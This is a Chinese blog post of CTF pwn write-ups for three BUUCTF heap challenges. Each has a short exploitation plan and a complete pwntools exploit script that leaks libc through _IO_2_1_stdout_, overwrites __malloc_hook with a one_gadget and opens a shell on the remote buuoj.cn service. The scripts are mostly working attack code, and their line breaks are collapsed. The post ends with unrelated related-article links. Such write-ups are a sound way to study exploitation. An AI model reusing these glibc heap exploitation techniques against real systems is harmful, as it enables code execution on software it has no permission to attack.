目录

  • nsctf_online_2019_pwn1(堆重叠,_IO_2_1_stdout_泄露libc)
  • npuctf_2020_bad_guy(house of Roman?)
    • 题目分析
    • 漏洞利用
    • Exp
  • nsctf_online_2019_pwn2

nsctf_online_2019_pwn1(堆重叠,_IO_2_1_stdout_泄露libc)


添加没有太大限制,但是会把之前内容清空

删除没有指针悬挂,并且没有show功能
edit有一个off-by-null

利用思路
因为本题的memset清0使得题目变得复杂了一点

  1. 进行4次add,之后删除0,并且利用off-by-null把0,1,2合并
add(0xf8, 'chunk0\n')
add(0x68, 'chunk1\n')
add(0xf8, 'chunk2\n')
add(0x18, 'chunk3\n')
  1. 合并之后申请一次0xf8(index0),再次add,此时重新申请出和chunk1相同地址的chunk,index为2
  2. 再利用off-by-null进行堆重叠,这次申请一次0xf8,把main_arena+0x58的地址留在index1的fd,这时删除0又add 0x102,就可以利用partial rewrite把_IO_2_1_stdout_附近的地址写上去(需要爆破1位)
  3. 泄露出libc地址之后,删除1,使用2的编辑功能在fd写上__malloc_hook-0x23的地址,在__malloc_hook处写上one_gadget就行

Exp:

from pwn import *#r = remote("node3.buuoj.cn", 27089)
#r = process("./nsctf_online_2019_pwn1")context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:gdb.attach(r, '''   b *$rebase(0xED3)x/10gx $rebase(0x2020A0)c''')def debug():gdb.attach(r, '''   b *$rebase(0xED3)x/10gx $rebase(0x2020A0)c''')elf = ELF("./nsctf_online_2019_pwn1")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]menu = "5.exit\n"
def add(size, name):r.recvuntil(menu)r.sendline('1')r.recvuntil("Input the size:\n")r.sendline(str(size))r.recvuntil("Input the content:")r.send(name)def delete(index):r.recvuntil(menu)r.sendline('2')r.recvuntil("Input the index:\n")r.sendline(str(index))def edit(index, size, content):r.recvuntil(menu)r.sendline('4')r.recvuntil("Input the index:\n")r.sendline(str(index))r.recvuntil("Input size:\n")r.sendline(str(size))r.recvuntil("Input new content:\n")r.send(content)def pwn():add(0xf8, 'chunk0\n')add(0x68, 'chunk1\n')add(0xf8, 'chunk2\n')add(0x18, 'chunk3\n')delete(0)payload = 'a'*0x60 + p64(0x170)edit(1, 0x68, payload)delete(2)add(0xf8, 'chunk0\n')#0add(0x68, 'aaa\n')#2 same as 1add(0xf8, 'aa\n')#4delete(0)payload = 'a'*0x60 + p64(0x170)edit(1, 0x68, payload)delete(4)delete(1)#fastbinadd(0xf8, 'aa\n')#0delete(0)payload = 'a'*0xf0 + p64(0) + p64(0x71) + '\xdd\x85'add(0x102, payload)payload = '\x00'*0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88'add(0x68, p64(0))#1add(0x59, payload)#4 stdoutlibc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']success("libc:"+hex(libc.address))malloc_hook = libc.sym['__malloc_hook']one_gadget = libc.address + one_gadget_16[3]delete(1)edit(2, 8, p64(malloc_hook-0x23))add(0x68, 'aa\n')payload = 'a'*0x13 + p64(one_gadget)add(0x68, payload)r.recvuntil(menu)r.sendline('1')r.recvuntil("Input the size:\n")r.sendline('10')r.interactive()if __name__ == "__main__":#pwn()while True:r = remote("node3.buuoj.cn", 28756)try:pwn()except:r.close()

npuctf_2020_bad_guy(house of Roman?)

题目分析


edit函数可以进行堆溢出,不限溢出长度

漏洞利用

据某大佬说这题用的是house of Roman的办法
虽然我一直没太搞懂什么是house of Roman,不过我觉得这题和之前做的题目区别不是很大
利用过程:

  1. 申请0x18, 0xc8, 0x60三个heap 0,1,2,并在0xc8中伪造chunk head
  2. 删除0xc8,然后从新申请回来,并在fd处爆破_IO_2_1_stdout_附近的地址
  3. 再申请两个0x68大小的Heap3,4,然后依次删除2和4,利用3的溢出让4的fd指向1
  4. 如果运气好我们就能泄露出libc地址,之后再把1删了并且利用0的溢出在1的fd写入__malloc_hook-0x23地址

Exp

from pwn import *#r = remote("node3.buuoj.cn", 25023)
#r = process("./npuctf_2020_bad_guy")context.log_level = 'debug'
DEBUG = 0
if DEBUG:gdb.attach(r, '''   b *$rebase(0xDEB)x/10gx $rebase(0x202040)c''')
elf = ELF("./npuctf_2020_bad_guy")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]menu = ">> "
def add(index, size, content):r.recvuntil(menu)r.sendline('1')r.recvuntil("Index :")r.sendline(str(index))r.recvuntil("size: ")r.sendline(str(size))r.recvuntil("Content:")r.send(content)def delete(index):r.recvuntil(menu)r.sendline('3')r.recvuntil("Index :")r.sendline(str(index))def edit(index, size, content):r.recvuntil(menu)r.sendline('2')r.recvuntil("Index :")r.sendline(str(index))r.recvuntil("size: ")r.sendline(str(size))r.recvuntil("content: ")r.send(content)def pwn():add(0, 0x18, 'aa')add(1, 0xc8, 'aa')#0x20add(2, 0x68, 'aa')#0xf0payload = 'a'*0x68 + p64(0x61)edit(1, 0xc8, payload)delete(1)add(1, 0xc8, '\xdd\x85')add(3, 0x68, 'a')add(4, 0x68, 'a')edit(0, 0x20, 'a'*0x18 + p64(0x71))delete(2)delete(4)payload = 'a'*0x68 + p64(0x71) + '\x20'edit(3, len(payload), payload)add(2, 0x68, 'a')add(4, 0x68, 'a')payload = '\x00'*0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88'add(5, 0x68, payload)libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']success("libc:"+hex(libc.address))malloc_hook = libc.sym['__malloc_hook']one_gadget = libc.address + one_gadget_16[3]delete(1)edit(0, 0x28, 'a'*0x18 + p64(0x71) + p64(malloc_hook-0x23))add(6, 0x68, 'a')add(7, 0x68, 'a'*0x13 + p64(one_gadget))r.sendlineafter('>> ', '1')r.sendlineafter('Index :', '2')r.sendlineafter('size: ', '96')r.interactive()if __name__ == "__main__":#pwn()while True:r = remote("node3.buuoj.cn", 28796)try:pwn()except:r.close()

nsctf_online_2019_pwn2


功能挺多

然而几乎没有漏洞,只有update name处有1byte溢出

本题就围绕这个溢出做文章

利用思路:

  1. 申请0x80和0x10(防止合并),然后用溢出改回0x80的chunk,将其释放,申请一个1大小就能泄露出libc
  2. 剩下的unsorted bin的chunk大小正好为0x70,申请出来又释放,再申请0x10,利用溢出改回0x70的地方,在fd写上__malloc_hook-0x23的地址

Exp:

from pwn import *r = remote("node3.buuoj.cn", 27534)
#r = process("./nsctf_online_2019_pwn2")context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:gdb.attach(r, '''   b *$rebase(0xCB7)x/10gx $rebase(0x202090)c''')elf = ELF("./nsctf_online_2019_pwn2")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]menu = "6.exit\n"
def add(size):r.recvuntil(menu)r.sendline('1')r.recvuntil("Input the size\n")r.sendline(str(size))def delete():r.recvuntil(menu)r.sendline('2')def edit_name(name):r.recvuntil(menu)r.sendline('4')r.recvuntil("Please input your name\n")r.send(name)def show():r.recvuntil(menu)r.sendline('3')def edit(content):r.recvuntil(menu)r.sendline('5')r.recvuntil("Input the note\n")r.send(content)r.recvuntil("Please input your name\n")
r.sendline('KMFL')
add(0x80)
add(0x10)#0x90
name='a'*0x30 + '\x10'
edit_name(name)
delete()
add(1)#0xb0
edit('\x78')
show()
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
one_gadget = one_gadget_16[1] + libc.address
realloc = libc.sym['realloc']add(0x68)#20
delete()
add(0x10)
name='a'*0x30 + '\x30'
edit_name(name)
edit(p64(malloc_hook-0x23))
add(0x68)
add(0x68)
payload = 'a'*(0x13-8) + p64(one_gadget) + p64(realloc+0x10)
edit(payload)
add(0x10)r.interactive()

BUUCTF-PWN刷题记录-17相关推荐

  1. LeetCode刷题记录——17电话号码的字母组合

    LeetCode刷题记录--17电话号码的字母组合 一 题目描述: 给定一个仅包含数字2-9的字符串,返回所有它能表示的字母组合.给出数字到字母的映射如下.注意1不对应任何字母 示例: 输入:&quo ...

  2. buuctf rsa刷题记录(记几种类型的RSA攻击二)

    前言 最近学习了点儿rsa这里总结以下我的buctf rsa部分刷题记录 dp,dp泄露 场景描述: 假设题目仅给出p,q,dp,dq,c,即不给公钥e 这种参数是为了让解密的时候更快速产生的 dp= ...

  3. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  4. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

  5. 重走长征路---OI每周刷题记录---9月21日 2013 AC 17题

    总目录详见https://blog.csdn.net/mrcrack/article/details/84471041 做题原则,找不到测评地址的题不做.2018-11-28 重走长征路---OI每周 ...

  6. 重走长征路---OI每周刷题记录---1月17日 2015

    总目录详见https://blog.csdn.net/mrcrack/article/details/84471041 做题原则,找不到测评地址的题不做.2018-11-28 重走长征路---OI每周 ...

  7. Codeforces 刷题记录(已停更)

    Codeforces 每日刷题记录 (已停更) 打'+'是一些有启发意义的题目,部分附上一句话题解,每日更新3题,大部分题目较水. Day ID Problem Tutorial Note 1 1 + ...

  8. LeetCode:数组刷题(17道经典题目)

    LeetCode 数组刷题(17道经典题目) 本文带来的是以数组为主题的经典题目,主要实现是C++,部分题目也用Python实现了. 704. 二分查找 35.搜索插入位置 34. 在排序数组中查找元 ...

  9. BZOJ刷题记录---提高组难度

    BZOJ刷题记录---提高组难度 总目录详见https://blog.csdn.net/mrcrack/article/details/90228694 序号 题号 算法 思想难度 实现难度 总难度 ...

最新文章

  1. PL/SQL编程:用for循环算出5的阶乘
  2. Centos7.6安装redis
  3. 【算法图解|5】javaScript求两个数的最大公约数
  4. 矿井通风计算c语言_矿井主通风机的技术发展现状与未来发展趋势
  5. 终端不能联网_5G和物联网DDA的关系
  6. Windows下的wget安装
  7. 金属网材质贴图素材推荐 精品 小众
  8. 饭卡可以用水冲洗吗_关于饭卡使用与管理的规定
  9. 山东大学暑期实训-饮食健康管理系统设计与实现(十三)
  10. 随便做各种题(无规律)
  11. 360与腾讯弹窗大战 数亿网民被迫围观
  12. C# 自动转换为半角 (输入法半角/全角切换) 转载
  13. andorid xmlns:tools=“http://schemas.android.com/tools“是用来做什么的?
  14. Python 实现 PDF转图片 图片转PDF
  15. hive面试题总结(2020最新版)
  16. np.savetxt()和np.loadtxt()
  17. mysql5.1.40.jrp_1.原生态JDBC编程中的问题总结
  18. Qt 错误提示1: invalid use of incomplete type ‘***‘
  19. css clip-path
  20. 为什么美国学生学的数学比我们简单,却能做出很牛逼的东西?

热门文章

  1. ubuntu系统忘记密码(win+ubuntu双系统)
  2. 网络安全笔记第四天day4(kali基本操作)
  3. oracle日期函数大全一(Date)
  4. 数量周期 复杂现象背后的推动力,可能是极其简单的原理。科学的目标之一就是发现纷 繁复杂的自然现象背后的简单法则。爱因斯坦的相对论是这方面的典范例证。
  5. sshpass报错Host key verification failed
  6. 电脑怎么用照片做视频?哪个软件简单好用?3步教你轻松制作!
  7. java ?: 三目运算符
  8. vue中新增弹出对话框操作
  9. vue 鼠标拖动画矩形_vue中拖动元素效果实现,以及拖拽`缩放后的元素`效果实现...
  10. OLE、ActiceX、COM、DLL